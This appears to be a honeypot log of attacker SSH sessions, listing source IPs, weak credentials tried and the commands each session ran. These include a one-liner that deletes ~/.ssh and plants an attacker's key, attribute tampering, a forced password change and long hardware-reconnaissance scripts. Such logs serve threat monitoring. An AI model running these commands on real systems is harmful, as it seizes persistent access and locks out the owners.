$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "1234qwer\nRSM2u7C28X20\nRSM2u7C28X20"|passwd|bash

$ Enter new UNIX password:

$ echo "1234qwer\nRSM2u7C28X20\nRSM2u7C28X20\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 haywire_spice_root (168.144.95.137) — Bengaluru, India · 1 session · 2 cmds

2026-07-05 04:17 EDT · as oracle/1234qwer

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 sullen_specter_root (103.59.163.135) — Yangon, Myanmar · 1 session · 2 cmds

2026-07-05 04:17 EDT · as oracle/1234qwer

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 haywire_tulip_sol (45.148.10.240) — Amsterdam, The Netherlands · 720 sessions · 720 cmds

2026-06-13 06:21 EDT · as bitcoin/bitcoin, eth/eth, firedancer/firedancer

Ran uname 900x across 900 sessions — automated OS fingerprinting.

$ /bin/./uname -s -v -n -r -m ×720

↳ obfuscated system check

🎭 rogue_saffron_root (31.14.116.163) — Tehran, Iran · 32 sessions · 32 cmds

2026-07-04 20:15 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×32

🎭 placid_ghost_root_227 (195.178.110.227) — Andorra la Vella, Andorra · 42 sessions · 338 cmds

2026-06-25 08:10 EDT · as admin/123456, admin/admin, admin/admin123

PATH manipulation → OS fingerprinting via uname -s -v -n -m → kernel version extraction from /proc/version → OS release check via /etc/os-release → uptime capture → hardware profiling for cryptomining potential

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ×7

$ uname -s -v -n -m 2 > /dev/null ×42

$ /bin/uname -s -v -n -m 2 > /dev/null ×34

$ /usr/bin/uname -s -v -n -m 2 > /dev/null ×34

$ busybox uname -s -v -n -m 2 > /dev/null ×34

$ ( [ -f /proc/version ] ×34

$ [ -f /proc/version ] ×34

$ head -1 /proc/version | cut -d -f1 ×34

$ [ -f /etc/os-release ] ×34

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; echo; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; echo; cat /proc/device-tree/model 2>/dev/null; echo; lscpu 2>/dev/null | grep "Model name" | cut -d: -f2-; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ×14

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ×12

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" ×8

$ uname -m 2 > /dev/null ×8

$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 ×8

🎭 stoic_panda_root_168 (106.12.61.168) — Beijing, China · 1 session · 1 cmd

2026-07-04 21:23 EDT · as root/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 manic_tulip_sol (45.153.34.15) — Eygelshoven, The Netherlands · 31 sessions · 31 cmds

2026-07-04 19:21 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×31

🎭 silent_bike_root (193.32.162.84) — Amsterdam, The Netherlands · 19 sessions · 171 cmds

2026-07-02 14:23 EDT · as admin/123456, admin/admin, admin/admin123

PATH manipulation via export → kernel fingerprinting with uname -s -v -n -m → OS version extraction from /proc/version → Linux distribution detection via /etc/os-release → hardware architecture enumeration → silent reconnaissance without payload deployment.

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ×14

$ uname -s -v -n -m 2 > /dev/null ×19

$ /bin/uname -s -v -n -m 2 > /dev/null ×19

$ /usr/bin/uname -s -v -n -m 2 > /dev/null ×19

$ busybox uname -s -v -n -m 2 > /dev/null ×19

$ ( [ -f /proc/version ] ×19

$ [ -f /proc/version ] ×19

$ head -1 /proc/version | cut -d -f1 ×19

$ [ -f /etc/os-release ] ×19

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ×5

🎭 grumpy_lantern_root_101 (120.48.8.101) — Beijing, China · 1 session · 1 cmd

2026-07-04 18:44 EDT · as root/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 drowsy_baguette_root (94.183.188.148) — Paris, France · 1 session · 2 cmds

2026-07-04 18:28 EDT · as oracle/oracle!@#

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 aloof_meatball_root (171.25.158.47) — Vaxjo, Sweden · 1 session · 2 cmds

2026-07-04 17:58 EDT · as oracle/oracle@2023

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 wily_phantom_root (91.92.40.13) — Varna, Bulgaria · 8 sessions · 72 cmds

2026-07-04 17:13 EDT · as root/1234, root/123456, root/12345678

OS fingerprinting via uname -s -v -n -m → kernel version extraction from /proc/version → OS release detection via /etc/os-release → environment path hardening → hardware profiling for resource assessment

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ×8

$ uname -s -v -n -m 2 > /dev/null ×8

$ /bin/uname -s -v -n -m 2 > /dev/null ×8

$ /usr/bin/uname -s -v -n -m 2 > /dev/null ×8

$ busybox uname -s -v -n -m 2 > /dev/null ×8

$ ( [ -f /proc/version ] ×8

$ [ -f /proc/version ] ×8

$ head -1 /proc/version | cut -d -f1 ×8

$ [ -f /etc/os-release ] ×8

🎭 grumpy_dragon_root (116.177.172.94) — Jinrongjie, China · 1 session · 1 cmd

2026-07-04 16:34 EDT · as guest/guest

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 lurking_nomad_root (195.178.110.228) — Andorra la Vella, Andorra · 25 sessions · 180 cmds

2026-06-26 13:37 EDT · as root/1234, root/123456, root/12345678

OS fingerprinting via uname -s -v -n -m → kernel version extraction from /proc/version → OS release detection via /etc/os-release → uptime sampling → PATH environment hardening → full hardware and system profiling.

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 